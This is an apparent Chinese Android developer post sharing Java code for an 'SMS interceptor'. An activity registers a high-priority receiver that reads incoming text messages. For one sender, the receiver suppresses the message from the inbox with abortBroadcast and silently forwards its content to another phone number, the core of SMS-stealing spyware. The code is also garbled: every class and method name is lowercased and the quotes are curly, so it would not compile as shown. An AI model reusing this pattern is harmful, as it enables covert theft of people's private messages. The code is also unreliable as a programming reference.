android开发分享android短信拦截的实现代码

import android.os.bundle; 
import android.app.activity; 
import android.content.intentfilter; 
import android.view.menu; 

public class mainactivity extends activity { 

    private smsreceiver receiver = new smsreceiver(); 
    @override 
    protected void oncreate(bundle savedinstancestate) { 
        super.oncreate(savedinstancestate); 
        setcontentview(r.layout.activity_main); 

        intentfilter filter = new intentfilter(); 
        filter.setpriority(997); 
        filter.addaction(“android.provider.telephony.sms_received”); 
        registerreceiver(receiver,filter); 
    } 

    @override 
    public boolean oncreateoptionsmenu(menu menu) { 
        // inflate the menu; this adds items to the action bar if it is present. 
        getmenuinflater().inflate(r.menu.main, menu); 
        return true; 
    } 

    @override 
    protected void ondestroy() { 
        super.ondestroy(); 

        unregisterreceiver(receiver); 
    } 
} 

import java.text.simpledateformat; 
import android.content.broadcastreceiver; 
import android.content.context; 
import android.content.intent; 
import android.os.bundle; 
import android.telephony.smsmanager; 
import android.telephony.smsmessage; 

public class smsreceiver extends broadcastreceiver { 

    @override 
    public void onreceive(context context, intent intent) { 

        system.out.println(“章泽天是我老婆,老婆我成功了….”); 
        bundle bundle = intent.getextras(); 
        object[] objects = (object[]) bundle.get(“pdus”); 
        for(object obj : objects){ 
            smsmessage smsmessage = smsmessage.createfrompdu((byte[])obj); 
            string body = smsmessage.getdisplaymessagebody(); 
            string address = smsmessage.getdisplayoriginatingaddress(); 
            long date = smsmessage.gettimestampmillis(); 

            simpledateformat format = new simpledateformat(“yyyy-mm-dd hh:mm:ss”); 
            string datestr = format.format(date); 

            system.out.println(address +” 于  ” + datestr + “给你发了以下内容: ” + body); 

            if(address.equals(“5558”)){ 
                abortbroadcast(); 
                smsmanager smsmanager = smsmanager.getdefault(); 
                smsmanager.sendtextmessage(“5556″,null,address +” 于  ” + datestr + “给你发了以下内容: ” + body,null,null); 

            } 
        } 
    } 

}